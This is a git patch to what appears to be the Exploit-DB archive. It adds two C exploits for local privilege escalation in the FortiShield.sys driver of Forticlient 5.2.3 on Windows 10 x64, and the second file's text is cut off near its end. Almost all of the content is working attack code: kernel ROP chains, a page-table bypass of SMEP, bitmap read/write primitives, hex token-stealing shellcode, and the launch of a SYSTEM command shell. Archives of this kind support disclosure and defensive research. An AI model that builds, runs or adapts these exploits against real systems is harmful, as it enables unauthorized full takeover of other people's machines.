From f3bbe1df4cf7d7ae99fba4c9ee508c82f57a148f Mon Sep 17 00:00:00 2001 From: Offensive Security Date: Sun, 26 Mar 2017 05:01:16 +0000 Subject: [PATCH] DB: 2017-03-26 2 new exploits Forticlient 5.2.3 Windows 10 x64 (Pre Anniversary) - Privilege Escalation Forticlient 5.2.3 Windows 10 x64 (Post Anniversary) - Privilege Escalation --- files.csv | 2 + platforms/windows/local/41721.c | 204 ++++++++++++ platforms/windows/local/41722.c | 551 ++++++++++++++++++++++++++++++++ 3 files changed, 757 insertions(+) create mode 100755 platforms/windows/local/41721.c create mode 100755 platforms/windows/local/41722.c diff --git a/files.csv b/files.csv index 4ffd1f27e..6c158a8fb 100644 --- a/files.csv +++ b/files.csv @@ -8885,6 +8885,8 @@ id,file,description,date,author,platform,type,port 41711,platforms/windows/local/41711.rb,"VMware Host Guest Client Redirector - DLL Side Loading (Metasploit)",2016-08-06,Metasploit,windows,local,0 41712,platforms/windows/local/41712.rb,"CADA 3S CoDeSys Gateway Server - Directory Traversal (Metasploit)",2013-02-02,Metasploit,windows,local,0 41713,platforms/windows/local/41713.rb,"MOXA Device Manager Tool 2.1 - Buffer Overflow (Metasploit)",2010-10-20,Metasploit,windows,local,0 +41721,platforms/windows/local/41721.c,"Forticlient 5.2.3 Windows 10 x64 (Pre Anniversary) - Privilege Escalation",2017-03-25,sickness,windows,local,0 +41722,platforms/windows/local/41722.c,"Forticlient 5.2.3 Windows 10 x64 (Post Anniversary) - Privilege Escalation",2017-03-25,sickness,windows,local,0 1,platforms/windows/remote/1.c,"Microsoft IIS - WebDAV 'ntdll.dll' Remote Exploit",2003-03-23,kralor,windows,remote,80 2,platforms/windows/remote/2.c,"Microsoft IIS 5.0 - WebDAV Remote Exploit (PoC)",2003-03-24,RoMaNSoFt,windows,remote,80 5,platforms/windows/remote/5.c,"Microsoft Windows - RPC Locator Service Remote Exploit",2003-04-03,"Marcin Wolak",windows,remote,139 diff --git a/platforms/windows/local/41721.c b/platforms/windows/local/41721.c new file mode 100755 index 000000000..4527b5445 --- /dev/null +++ b/platforms/windows/local/41721.c @@ -0,0 +1,204 @@ +/* +Check this out: +- https://www.coresecurity.com/system/files/publications/2016/05/Windows%20SMEP%20bypass%20U%3DS.pdf +Tested on: +- Windows 10 Pro x64 (Pre-Anniversary) +- hal.dll: 10.0.10240.16384 +- FortiShield.sys: 5.2.3.633 +Thanks to master @ryujin and @ronin for helping out. +*/ + +#include +#include +#include +#include + +#pragma comment (lib,"psapi") + +ULONGLONG get_pxe_address_64(ULONGLONG address) { + + ULONGLONG result = address >> 9; + result = result | 0xFFFFF68000000000; + result = result & 0xFFFFF6FFFFFFFFF8; + return result; + +} + +LPVOID GetBaseAddr(char *drvname) { + + LPVOID drivers[1024]; + DWORD cbNeeded; + int nDrivers, i = 0; + + if (EnumDeviceDrivers(drivers, sizeof(drivers), &cbNeeded) && cbNeeded < sizeof(drivers)) { + + char szDrivers[1024]; + nDrivers = cbNeeded / sizeof(drivers[0]); + for (i = 0; i < nDrivers; i++) { + if (GetDeviceDriverBaseName(drivers[i], (LPSTR)szDrivers, sizeof(szDrivers) / sizeof(szDrivers[0]))) { + //printf("%s (%p)\n", szDrivers, drivers[i]); + if (strcmp(szDrivers, drvname) == 0) { + //printf("%s (%p)\n", szDrivers, drivers[i]); + return drivers[i]; + } + } + } + } + return 0; +} + +DWORD trigger_callback() { + + printf("[+] Creating dummy file\n"); + system("echo test > test.txt"); + + printf("[+] Calling MoveFileEx()\n"); + BOOL MFEresult; + MFEresult = MoveFileEx((LPCSTR)"test.txt", (LPCSTR)"test2.txt", MOVEFILE_REPLACE_EXISTING); + if (MFEresult == 0) + { + printf("[!] Error while calling MoveFileEx(): %d\n", GetLastError()); + return 1; + } + return 0; +} + +int main() { + + HANDLE forti; + forti = CreateFile((LPCSTR)"\\\\.\\FortiShield", GENERIC_READ | GENERIC_WRITE, 0, NULL, OPEN_EXISTING, 0, NULL); + if (forti == INVALID_HANDLE_VALUE) { + printf("[!] Error while creating a handle to the driver: %d\n", GetLastError()); + return 1; + } + + LPVOID hal_base = GetBaseAddr("hal.dll"); + LPVOID fortishield_base = GetBaseAddr("FortiShield.sys"); + + ULONGLONG va_pte = get_pxe_address_64(0x0000000048000000); + ULONGLONG hal_pivot = (ULONGLONG)hal_base + 0x6bf0; + ULONGLONG fortishield_callback = (ULONGLONG)fortishield_base + 0xd150; + ULONGLONG fortishield_restore = (ULONGLONG)fortishield_base + 0x2f73; + + printf("[+] HAL.dll found at: %llx\n", (ULONGLONG)hal_base); + printf("[+] FortiShield.sys found at: %llx\n", (ULONGLONG)fortishield_base); + printf("[+] PTE virtual address at: %llx\n", va_pte); + + DWORD IoControlCode = 0x220028; + ULONGLONG InputBuffer = hal_pivot; + DWORD InputBufferLength = 0x8; + ULONGLONG OutputBuffer = 0x0; + DWORD OutputBufferLength = 0x0; + DWORD lpBytesReturned; + + HANDLE pid; + pid = GetCurrentProcess(); + ULONGLONG allocate_address = 0x0000000047FF016F; + LPVOID allocate_shellcode; + allocate_shellcode = VirtualAlloc((LPVOID*)allocate_address, 0x12000, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE); + if (allocate_shellcode == NULL) { + printf("[!] Error while allocating shellcode: %d\n", GetLastError()); + return 1; + } + + char *shellcode; + DWORD shellcode_size = 0x12000; + ULONGLONG rop_01 = (ULONGLONG)hal_base + 0x668e; // pop rdx; ret + ULONGLONG rop_02 = 0x0000000000000063; // DIRTY + ACCESSED + R/W + PRESENT + ULONGLONG rop_03 = (ULONGLONG)hal_base + 0x987e; // pop rax; ret + ULONGLONG rop_04 = va_pte; + ULONGLONG rop_05 = (ULONGLONG)hal_base + 0xe2cc; // mov byte ptr [rax], dl; ret + ULONGLONG rop_06 = (ULONGLONG)hal_base + 0x15a50; // wbinvd; ret + ULONGLONG rop_07 = allocate_address + 0x10040; + ULONGLONG rop_08 = fortishield_callback; + ULONGLONG rop_09 = fortishield_restore; + + //;kd> dt -r1 nt!_TEB + //; +0x110 SystemReserved1 : [54] Ptr64 Void + //;??????+0x078 KTHREAD (not documented, can't get it from WinDBG directly) + //kd> u nt!PsGetCurrentProcess + //nt!PsGetCurrentProcess: + //mov rax,qword ptr gs:[188h] + //mov rax,qword ptr [rax+0B8h] + + // TOKEN STEALING & RESTORE + // start: + // mov rdx, [gs:0x188] + // mov r8, [rdx+0x0b8] + // mov r9, [r8+0x2f0] + // mov rcx, [r9] + // find_system_proc: + // mov rdx, [rcx-0x8] + // cmp rdx, 4 + // jz found_it + // mov rcx, [rcx] + // cmp rcx, r9 + // jnz find_system_proc + // found_it: + // mov rax, [rcx+0x68] + // and al, 0x0f0 + // mov [r8+0x358], rax + // restore: + // mov rbp, qword ptr [rsp+0x80] + // xor rbx, rbx + // mov [rbp], rbx + // mov rbp, qword ptr [rsp+0x88] + // mov rax, rsi + // mov rsp, rax + // sub rsp, 0x20 + // jmp rbp + + char token_steal[] = "\x65\x48\x8B\x14\x25\x88\x01\x00\x00\x4C\x8B\x82\xB8" + "\x00\x00\x00\x4D\x8B\x88\xF0\x02\x00\x00\x49\x8B\x09" + "\x48\x8B\x51\xF8\x48\x83\xFA\x04\x74\x08\x48\x8B\x09" + "\x4C\x39\xC9\x75\xEE\x48\x8B\x41\x68\x24\xF0\x49\x89" + "\x80\x58\x03\x00\x00\x48\x8B\xAC\x24\x80\x00\x00\x00" + "\x48\x31\xDB\x48\x89\x5D\x00\x48\x8B\xAC\x24\x88\x00" + "\x00\x00\x48\x89\xF0\x48\x89\xC4\x48\x83\xEC\x20\xFF\xE5"; + + shellcode = (char *)malloc(shellcode_size); + memset(shellcode, 0x41, shellcode_size); + memcpy(shellcode + 0x10008, &rop_01, 0x08); + memcpy(shellcode + 0x10010, &rop_02, 0x08); + memcpy(shellcode + 0x10018, &rop_03, 0x08); + memcpy(shellcode + 0x10020, &rop_04, 0x08); + memcpy(shellcode + 0x10028, &rop_05, 0x08); + memcpy(shellcode + 0x10030, &rop_06, 0x08); + memcpy(shellcode + 0x10038, &rop_07, 0x08); + memcpy(shellcode + 0x10040, token_steal, sizeof(token_steal)); + memcpy(shellcode + 0x100C0, &rop_08, 0x08); + memcpy(shellcode + 0x100C8, &rop_09, 0x08); + + BOOL WPMresult; + SIZE_T written; + WPMresult = WriteProcessMemory(pid, (LPVOID)allocate_address, shellcode, shellcode_size, &written); + if (WPMresult == 0) + { + printf("[!] Error while calling WriteProcessMemory: %d\n", GetLastError()); + return 1; + } + + HANDLE hThread; + LPDWORD hThread_id = 0; + hThread = CreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)&trigger_callback, NULL, 0, hThread_id); + if (hThread == NULL) + { + printf("[!] Error while calling CreateThread: %d\n", GetLastError()); + return 1; + } + + BOOL hThread_priority; + hThread_priority = SetThreadPriority(hThread, THREAD_PRIORITY_HIGHEST); + if (hThread_priority == 0) + { + printf("[!] Error while calling SetThreadPriority: %d\n", GetLastError()); + return 1; + } + + BOOL triggerIOCTL; + triggerIOCTL = DeviceIoControl(forti, IoControlCode, (LPVOID)&InputBuffer, InputBufferLength, (LPVOID)&OutputBuffer, OutputBufferLength, &lpBytesReturned, NULL); + WaitForSingleObject(hThread, INFINITE); + + system("start cmd.exe"); + return 0; +} \ No newline at end of file diff --git a/platforms/windows/local/41722.c b/platforms/windows/local/41722.c new file mode 100755 index 000000000..b84055577 --- /dev/null +++ b/platforms/windows/local/41722.c @@ -0,0 +1,551 @@ +/* +Check these out: +- https://www.coresecurity.com/system/files/publications/2016/05/Windows%20SMEP%20bypass%20U%3DS.pdf +- https://labs.mwrinfosecurity.com/blog/a-tale-of-bitmaps/ +Tested on: +- Windows 10 Pro x64 (Post-Anniversary) +- hal.dll: 10.0.10240.16384 +- FortiShield.sys: 5.2.3.633 +Thanks to master @ryujin and @ronin for helping out. And thanks to Morten (@Blomster81) for the MiGetPteAddress :D +*/ + +#include +#include +#include +#include + +#pragma comment (lib,"psapi") +#pragma comment(lib, "gdi32.lib") +#pragma comment(lib, "User32.lib") + +#define object_number 0x02 +#define accel_array_size 0x2b6 +#define STATUS_SUCCESS 0x00000000 + +typedef void** PPVOID; + +typedef struct _tagSERVERINFO { + UINT64 pad; + UINT64 cbHandleEntries; +} SERVERINFO, *PSERVERINFO; + +typedef struct _HANDLEENTRY { + PVOID pHeader; // Pointer to the Object + PVOID pOwner; // PTI or PPI + UCHAR bType; // Object handle type + UCHAR bFlags; // Flags + USHORT wUniq; // Access count +} HANDLEENTRY, *PHANDLEENTRY; + +typedef struct _SHAREDINFO { + PSERVERINFO psi; + PHANDLEENTRY aheList; +} SHAREDINFO, *PSHAREDINFO; + +ULONGLONG get_pxe_address_64(ULONGLONG address, ULONGLONG pte_start) { + ULONGLONG result = address >> 9; + result = result | pte_start; + result = result & (pte_start + 0x0000007ffffffff8); + return result; +} + +HMODULE ntdll; +HMODULE user32dll; + +struct bitmap_structure { + HBITMAP manager_bitmap; + HBITMAP worker_bitmap; +}; + +struct bitmap_structure create_bitmaps(HACCEL hAccel[object_number]) { + struct bitmap_structure bitmaps; + char *manager_bitmap_memory; + char *worker_bitmap_memory; + HBITMAP manager_bitmap; + HBITMAP worker_bitmap; + int nWidth = 0x700; + int nHeight = 2; + unsigned int cPlanes = 1; + unsigned int cBitsPerPel = 8; + const void *manager_lpvBits; + const void *worker_lpvBits; + + manager_bitmap_memory = malloc(nWidth * nHeight); + memset(manager_bitmap_memory, 0x00, sizeof(manager_bitmap_memory)); + manager_lpvBits = manager_bitmap_memory; + + worker_bitmap_memory = malloc(nWidth * nHeight); + memset(worker_bitmap_memory, 0x00, sizeof(worker_bitmap_memory)); + worker_lpvBits = worker_bitmap_memory; + + BOOL destroy_table; + destroy_table = DestroyAcceleratorTable(hAccel[0]); + if (destroy_table == 0) { + printf("[!] Failed to delete accelerator table[0]: %d\n", GetLastError()); + exit(1); + } + + manager_bitmap = CreateBitmap(nWidth, nHeight, cPlanes, cBitsPerPel, manager_lpvBits); + if (manager_bitmap == NULL) { + printf("[!] Failed to create BitMap object: %d\n", GetLastError()); + exit(1); + } + printf("[+] Manager BitMap HANDLE: %I64x\n", (ULONGLONG)manager_bitmap); + + destroy_table = DestroyAcceleratorTable(hAccel[1]); + if (destroy_table == 0) { + printf("[!] Failed to delete accelerator table[1]: %d\n", GetLastError()); + exit(1); + } + worker_bitmap = CreateBitmap(nWidth, nHeight, cPlanes, cBitsPerPel, worker_lpvBits); + if (worker_bitmap == NULL) { + printf("[!] Failed to create BitMap object: %d\n", GetLastError()); + exit(1); + } + printf("[+] Worker BitMap HANDLE: %I64x\n", (ULONGLONG)worker_bitmap); + + bitmaps.manager_bitmap = manager_bitmap; + bitmaps.worker_bitmap = worker_bitmap; + return bitmaps; +} + +PHANDLEENTRY leak_table_kernel_address(HMODULE user32dll, HACCEL hAccel[object_number], PHANDLEENTRY handle_entry[object_number]) { + int i; + PSHAREDINFO gSharedInfo; + ULONGLONG aheList; + DWORD handle_entry_size = 0x18; + + gSharedInfo = (PSHAREDINFO)GetProcAddress(user32dll, (LPCSTR)"gSharedInfo"); + if (gSharedInfo == NULL) { + printf("[!] Error while retrieving gSharedInfo: %d.\n", GetLastError()); + return NULL; + } + aheList = (ULONGLONG)gSharedInfo->aheList; + printf("[+] USER32!gSharedInfo located at: %I64x\n", (ULONGLONG)gSharedInfo); + printf("[+] USER32!gSharedInfo->aheList located at: %I64x\n", (ULONGLONG)aheList); + for (i = 0; i < object_number; i++) { + handle_entry[i] = (PHANDLEENTRY)(aheList + ((ULONGLONG)hAccel[i] & 0xffff) * handle_entry_size); + } + return *handle_entry; +} + +ULONGLONG write_bitmap(HBITMAP bitmap_handle, ULONGLONG to_write) { + ULONGLONG write_operation; + write_operation = SetBitmapBits(bitmap_handle, sizeof(ULONGLONG), &to_write); + if (write_operation == 0) { + printf("[!] Failed to write bits to bitmap: %d\n", GetLastError()); + exit(1); + } + return 0; +} + +ULONGLONG read_bitmap(HBITMAP bitmap_handle) { + ULONGLONG read_operation; + ULONGLONG to_read; + read_operation = GetBitmapBits(bitmap_handle, sizeof(ULONGLONG), &to_read); + if (read_operation == 0) { + printf("[!] Failed to write bits to bitmap: %d\n", GetLastError()); + exit(1); + } + return to_read; +} + +HACCEL create_accelerator_table(HACCEL hAccel[object_number], int table_number) { + int i; + table_number = object_number; + ACCEL accel_array[accel_array_size]; + LPACCEL lpAccel = accel_array; + + printf("[+] Creating %d Accelerator Tables\n", table_number); + for (i = 0; i < table_number; i++) { + hAccel[i] = CreateAcceleratorTableA(lpAccel, accel_array_size); + if (hAccel[i] == NULL) { + printf("[!] Error while creating the accelerator table: %d.\n", GetLastError()); + exit(1); + } + } + return *hAccel; +} + +LPVOID allocate_rop_chain(LPVOID kernel_base, ULONGLONG fortishield_callback, ULONGLONG fortishield_restore, ULONGLONG manager_pvScan_offset, ULONGLONG worker_pvScan_offset) { + HANDLE pid; + pid = GetCurrentProcess(); + ULONGLONG rop_chain_address = 0x0000000048ff07da; + LPVOID allocate_rop_chain; + allocate_rop_chain = VirtualAlloc((LPVOID*)rop_chain_address, 0x12000, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE); + if (allocate_rop_chain == NULL) { + printf("[!] Error while allocating rop_chain: %d\n", GetLastError()); + exit(1); + } + + /* */ + ULONGLONG rop_01 = (ULONGLONG)kernel_base + 0x146cdf; // pop rax; pop rcx; ret + ULONGLONG rop_02 = fortishield_callback; + ULONGLONG rop_03 = 0x0000000000000000; // NULL the callback + ULONGLONG rop_04 = (ULONGLONG)kernel_base + 0xed9c1; // mov qword ptr [rax], rcx ; ret + /* */ + + /* */ + ULONGLONG rop_05 = (ULONGLONG)kernel_base + 0x146cdf; // pop rax; pop rcx; ret + ULONGLONG rop_06 = (ULONGLONG)manager_pvScan_offset; // Manager BitMap pvScan0 offset + ULONGLONG rop_07 = (ULONGLONG)worker_pvScan_offset; // Worker BitMap pvScan0 offset + ULONGLONG rop_08 = (ULONGLONG)kernel_base + 0xed9c1; // mov qword ptr [rax], rcx ; ret + /* */ + + /* */ + ULONGLONG rop_09 = (ULONGLONG)kernel_base + 0x155a; // pop rbx ; ret + ULONGLONG rop_10 = 0x000000004900007b; + /* */ + + /* */ + ULONGLONG rop_11 = (ULONGLONG)kernel_base + 0x4551; // pop rax ; ret + ULONGLONG rop_12 = (ULONGLONG)kernel_base + 0x12eef4; // mov rax, rcx ; add rsp, 0x28 ; ret + ULONGLONG rop_13 = (ULONGLONG)kernel_base + 0x3dc8f; // mov rcx, rsi ; call rax + ULONGLONG rop_14 = 0x4141414141414141; // JUNK + ULONGLONG rop_15 = 0x4141414141414141; // JUNK + ULONGLONG rop_16 = 0x4141414141414141; // JUNK + ULONGLONG rop_17 = 0x4141414141414141; // JUNK + /* */ + + /* */ + ULONGLONG rop_18 = (ULONGLONG)kernel_base + 0xe37a; // pop rcx ; ret + ULONGLONG rop_19 = 0x0000000000000028; // Get the return address + ULONGLONG rop_20 = (ULONGLONG)kernel_base + 0x24752; // sub rax, rcx ; ret + /* */ + + /* */ + ULONGLONG rop_21 = (ULONGLONG)kernel_base + 0xe37a; // pop rcx ; ret + ULONGLONG rop_22 = fortishield_restore; + ULONGLONG rop_23 = (ULONGLONG)kernel_base + 0xed9c1; // mov qword ptr [rax], rcx ; ret + /* */ + + /* */ + ULONGLONG rop_24 = (ULONGLONG)kernel_base + 0x400b2a; // mov qword ptr [rbx + 0x10], rax ; add rsp, 0x20 ; pop rbx ; ret + ULONGLONG rop_25 = 0x4141414141414141; // JUNK + ULONGLONG rop_26 = 0x4141414141414141; // JUNK + ULONGLONG rop_27 = 0x4141414141414141; // JUNK + ULONGLONG rop_28 = 0x4141414141414141; // JUNK + ULONGLONG rop_29 = 0x0000000000000000; // Value to be POP'ed in RBX, needs to be 0x00 at the end for restore + /* */ + + /* */ + ULONGLONG rop_30 = (ULONGLONG)kernel_base + 0x33b4; // pop rsp ; ret + /* */ + + char *rop_chain; + DWORD rop_chain_size = 0x12000; + rop_chain = (char *)malloc(rop_chain_size); + memset(rop_chain, 0x00, rop_chain_size); + memcpy(rop_chain + 0xf7c1, &rop_01, 0x08); + memcpy(rop_chain + 0xf7c9, &rop_02, 0x08); + memcpy(rop_chain + 0xf7d1, &rop_03, 0x08); + memcpy(rop_chain + 0xf7d9, &rop_04, 0x08); + memcpy(rop_chain + 0xf7e1, &rop_05, 0x08); + memcpy(rop_chain + 0xf7e9, &rop_06, 0x08); + memcpy(rop_chain + 0xf7f1, &rop_07, 0x08); + memcpy(rop_chain + 0xf7f9, &rop_08, 0x08); + memcpy(rop_chain + 0xf801, &rop_09, 0x08); + memcpy(rop_chain + 0xf809, &rop_10, 0x08); + memcpy(rop_chain + 0xf811, &rop_11, 0x08); + memcpy(rop_chain + 0xf819, &rop_12, 0x08); + memcpy(rop_chain + 0xf821, &rop_13, 0x08); + memcpy(rop_chain + 0xf829, &rop_14, 0x08); + memcpy(rop_chain + 0xf831, &rop_15, 0x08); + memcpy(rop_chain + 0xf839, &rop_16, 0x08); + memcpy(rop_chain + 0xf841, &rop_17, 0x08); + memcpy(rop_chain + 0xf849, &rop_18, 0x08); + memcpy(rop_chain + 0xf851, &rop_19, 0x08); + memcpy(rop_chain + 0xf859, &rop_20, 0x08); + memcpy(rop_chain + 0xf861, &rop_21, 0x08); + memcpy(rop_chain + 0xf869, &rop_22, 0x08); + memcpy(rop_chain + 0xf871, &rop_23, 0x08); + memcpy(rop_chain + 0xf879, &rop_24, 0x08); + memcpy(rop_chain + 0xf881, &rop_25, 0x08); + memcpy(rop_chain + 0xf889, &rop_26, 0x08); + memcpy(rop_chain + 0xf891, &rop_27, 0x08); + memcpy(rop_chain + 0xf899, &rop_28, 0x08); + memcpy(rop_chain + 0xf8a1, &rop_29, 0x08); + memcpy(rop_chain + 0xf8a9, &rop_30, 0x08); + + BOOL WPMresult; + SIZE_T written; + WPMresult = WriteProcessMemory(pid, (LPVOID)rop_chain_address, rop_chain, rop_chain_size, &written); + if (WPMresult == 0) + { + printf("[!] Error while calling WriteProcessMemory: %d\n", GetLastError()); + exit(1); + } + printf("[+] Memory allocated at: %p\n", allocate_rop_chain); + return allocate_rop_chain; +} + +LPVOID allocate_shellcode(LPVOID kernel_base, ULONGLONG fortishield_callback, ULONGLONG fortishield_restore, ULONGLONG pte_result) { + HANDLE pid; + pid = GetCurrentProcess(); + ULONGLONG shellcode_address = 0x0000000048ff07da; + LPVOID allocate_shellcode; + allocate_shellcode = VirtualAlloc((LPVOID*)shellcode_address, 0x12000, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE); + if (allocate_shellcode == NULL) { + printf("[!] Error while allocating rop_chain: %d\n", GetLastError()); + exit(1); + } + + /* */ + ULONGLONG rop_01 = (ULONGLONG)kernel_base + 0x146cdf; // pop rax; pop rcx; ret + ULONGLONG rop_02 = (ULONGLONG)pte_result; // PTE address + ULONGLONG rop_03 = 0x0000000000000063; // DIRTY + ACCESSED + R/W + PRESENT + ULONGLONG rop_04 = (ULONGLONG)kernel_base + 0x12e259; // mov byte ptr [rax], cl ; mov rbx, qword ptr [rsp + 8] ; ret + ULONGLONG rop_05 = (ULONGLONG)kernel_base + 0x43d68; // wbinvd ; ret + ULONGLONG rop_06 = 0x000000004900081a; // shellcode + ULONGLONG rop_07 = fortishield_callback; + ULONGLONG rop_08 = fortishield_restore; + /* */ + + /* + ;kd> dt -r1 nt!_TEB + ; +0x110 SystemReserved1 : [54] Ptr64 Void + ;??????+0x078 KTHREAD (not documented, can't get it from WinDBG directly) + kd> u nt!PsGetCurrentProcess + nt!PsGetCurrentProcess: + mov rax,qword ptr gs:[188h] + mov rax,qword ptr [rax+0B8h] + + - Token stealing rop_chain & restore: + + start: + mov rdx, [gs:0x188] + mov r8, [rdx+0x0b8] + mov r9, [r8+0x2f0] + mov rcx, [r9] + find_system_proc: + mov rdx, [rcx-0x8] + cmp rdx, 4 + jz found_it + mov rcx, [rcx] + cmp rcx, r9 + jnz find_system_proc + found_it: + mov rax, [rcx+0x68] + and al, 0x0f0 + mov [r8+0x358], rax + restore: + mov rbp, qword ptr [rsp+0x80] + xor rbx, rbx + mov [rbp], rbx + mov rbp, qword ptr [rsp+0x88] + mov rax, rsi + mov rsp, rax + sub rsp, 0x20 + jmp rbp + */ + + char token_steal[] = "\x65\x48\x8B\x14\x25\x88\x01\x00\x00\x4C\x8B\x82\xB8" + "\x00\x00\x00\x4D\x8B\x88\xF0\x02\x00\x00\x49\x8B\x09" + "\x48\x8B\x51\xF8\x48\x83\xFA\x04\x74\x08\x48\x8B\x09" + "\x4C\x39\xC9\x75\xEE\x48\x8B\x41\x68\x24\xF0\x49\x89" + "\x80\x58\x03\x00\x00\x48\x8B\xAC\x24\x80\x00\x00\x00" + "\x48\x31\xDB\x48\x89\x5D\x00\x48\x8B\xAC\x24\x88\x00" + "\x00\x00\x48\x89\xF0\x48\x89\xC4\x48\x83\xEC\x20\xFF\xE5"; + + char *shellcode; + DWORD shellcode_size = 0x12000; + shellcode = (char *)malloc(shellcode_size); + memset(shellcode, 0x41, shellcode_size); + memcpy(shellcode + 0xf7c1, &rop_01, 0x08); + memcpy(shellcode + 0xf7c9, &rop_02, 0x08); + memcpy(shellcode + 0xf7d1, &rop_03, 0x08); + memcpy(shellcode + 0xf7d9, &rop_04, 0x08); + memcpy(shellcode + 0xf7e1, &rop_05, 0x08); + memcpy(shellcode + 0xf7e9, &rop_06, 0x08); + memcpy(shellcode + 0xf871, &rop_07, 0x08); + memcpy(shellcode + 0xf879, &rop_08, 0x08); + memcpy(shellcode + 0x10040, token_steal, sizeof(token_steal)); + + BOOL WPMresult; + SIZE_T written; + WPMresult = WriteProcessMemory(pid, (LPVOID)shellcode_address, shellcode, shellcode_size, &written); + if (WPMresult == 0) + { + printf("[!] Error while calling WriteProcessMemory: %d\n", GetLastError()); + exit(1); + } + printf("[+] Memory allocated at: %p\n", allocate_shellcode); + return allocate_shellcode; +} + +LPVOID GetBaseAddr(char *drvname) { + LPVOID drivers[1024]; + DWORD cbNeeded; + int nDrivers, i = 0; + + if (EnumDeviceDrivers(drivers, sizeof(drivers), &cbNeeded) && cbNeeded < sizeof(drivers)) { + char szDrivers[1024]; + nDrivers = cbNeeded / sizeof(drivers[0]); + for (i = 0; i < nDrivers; i++) { + if (GetDeviceDriverBaseName(drivers[i], (LPSTR)szDrivers, sizeof(szDrivers) / sizeof(szDrivers[0]))) { + //printf("%s (%p)\n", szDrivers, drivers[i]); + if (strcmp(szDrivers, drvname) == 0) { + //printf("%s (%p)\n", szDrivers, drivers[i]); + return drivers[i]; + } + } + } + } + return 0; +} + +DWORD trigger_callback() { + + /* This file needs to be on the local HDD to work. */ + printf("[+] Creating dummy file\n"); + system("echo test > test.txt"); + + printf("[+] Calling MoveFileEx()\n"); + BOOL MFEresult; + MFEresult = MoveFileEx((LPCSTR)"test.txt", (LPCSTR)"test2.txt", MOVEFILE_REPLACE_EXISTING); + if (MFEresult == 0) + { + printf("[!] Error while calling MoveFileEx(): %d\n", GetLastError()); + return 1; + } + return 0; +} + +int main() { + ntdll = LoadLibrary((LPCSTR)"ntdll"); + if (ntdll == NULL) { + printf("[!] Error while loading ntdll: %d\n", GetLastError()); + return 1; + } + + user32dll = LoadLibrary((LPCSTR)"user32"); + if (user32dll == NULL) { + printf("[!] Error while loading user32: %d.\n", GetLastError()); + return 1; + } + + HACCEL hAccel[object_number]; + create_accelerator_table(hAccel, object_number); + + PHANDLEENTRY handle_entry[object_number]; + leak_table_kernel_address(user32dll, hAccel, handle_entry); + + printf( + "[+] Accelerator Table[0] HANDLE: %I64x\n" + "[+] Accelerator Table[0] HANDLE: %I64x\n" + "[+] Accelerator Table[0] kernel address: %I64x\n" + "[+] Accelerator Table[0] kernel address: %I64x\n", + (ULONGLONG)hAccel[0], + (ULONGLONG)hAccel[1], + (ULONGLONG)handle_entry[0]->pHeader, + (ULONGLONG)handle_entry[1]->pHeader + ); + + ULONGLONG manager_pvScan_offset; + ULONGLONG worker_pvScan_offset; + manager_pvScan_offset = (ULONGLONG)handle_entry[0]->pHeader + 0x18 + 0x38; + worker_pvScan_offset = (ULONGLONG)handle_entry[1]->pHeader + 0x18 + 0x38; + + printf("[+] Replacing Accelerator Tables with BitMap objects\n"); + struct bitmap_structure bitmaps; + bitmaps = create_bitmaps(hAccel); + + printf("[+] Manager BitMap pvScan0 offset: %I64x\n", (ULONGLONG)manager_pvScan_offset); + printf("[+] Worker BitMap pvScan0 offset: %I64x\n", (ULONGLONG)worker_pvScan_offset); + + HANDLE forti; + forti = CreateFile((LPCSTR)"\\\\.\\FortiShield", GENERIC_READ | GENERIC_WRITE, 0, NULL, OPEN_EXISTING, 0, NULL); + if (forti == INVALID_HANDLE_VALUE) { + printf("[!] Error while creating a handle to the driver: %d\n", GetLastError()); + return 1; + } + + LPVOID kernel_base = GetBaseAddr("ntoskrnl.exe"); + LPVOID fortishield_base = GetBaseAddr("FortiShield.sys"); + ULONGLONG kernel_pivot = (ULONGLONG)kernel_base + 0x1468b0; + ULONGLONG fortishield_callback = (ULONGLONG)fortishield_base + 0xd150; + ULONGLONG fortishield_restore = (ULONGLONG)fortishield_base + 0x2f73; + printf("[+] Kernel found at: %llx\n", (ULONGLONG)kernel_base); + printf("[+] FortiShield.sys found at: %llx\n", (ULONGLONG)fortishield_base); + + DWORD IoControlCode = 0x220028; + ULONGLONG InputBuffer = kernel_pivot; + DWORD InputBufferLength = 0x8; + ULONGLONG OutputBuffer = 0x0; + DWORD OutputBufferLength = 0x0; + DWORD lpBytesReturned; + + LPVOID rop_chain_allocation; + rop_chain_allocation = allocate_rop_chain(kernel_base, fortishield_callback, fortishield_restore, manager_pvScan_offset, worker_pvScan_offset); + + HANDLE hThread; + LPDWORD hThread_id = 0; + hThread = CreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)&trigger_callback, NULL, CREATE_SUSPENDED, hThread_id); + if (hThread == NULL) + { + printf("[!] Error while calling CreateThread: %d\n", GetLastError()); + return 1; + } + + BOOL hThread_priority; + hThread_priority = SetThreadPriority(hThread, THREAD_PRIORITY_HIGHEST); + if (hThread_priority == 0) + { + printf("[!] Error while calling SetThreadPriority: %d\n", GetLastError()); + return 1; + } + + BOOL triggerIOCTL; + ResumeThread(hThread); + triggerIOCTL = DeviceIoControl(forti, IoControlCode, (LPVOID)&InputBuffer, InputBufferLength, (LPVOID)&OutputBuffer, OutputBufferLength, &lpBytesReturned, NULL); + WaitForSingleObject(hThread, INFINITE); + + /* */ + ULONGLONG manager_write_pte_offset = (ULONGLONG)kernel_base + 0x9c957; + write_bitmap(bitmaps.manager_bitmap, manager_write_pte_offset); + + ULONGLONG pte_start = read_bitmap(bitmaps.worker_bitmap); + printf("[+] PTE virtual base address: %I64x\n", pte_start); + + ULONGLONG pte_result; + ULONGLONG pte_value = 0x49000000; + pte_result = get_pxe_address_64(pte_value, pte_start); + printf("[+] PTE virtual address for 0x49000000: %I64x\n", pte_result); + /* */ + + BOOL VFresult; + VFresult = VirtualFree(rop_chain_allocation, 0x0, MEM_RELEASE); + if (VFresult == 0) + { + printf("[!] Error while calling VirtualFree: %d\n", GetLastError()); + return 1; + } + + LPVOID shellcode_allocation; + shellcode_allocation = allocate_shellcode(kernel_base, fortishield_callback, fortishield_restore, pte_result); + + hThread = CreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)&trigger_callback, NULL, CREATE_SUSPENDED, hThread_id); + if (hThread == NULL) + { + printf("[!] Error while calling CreateThread: %d\n", GetLastError()); + return 1; + } + + hThread_priority = SetThreadPriority(hThread, THREAD_PRIORITY_HIGHEST); + if 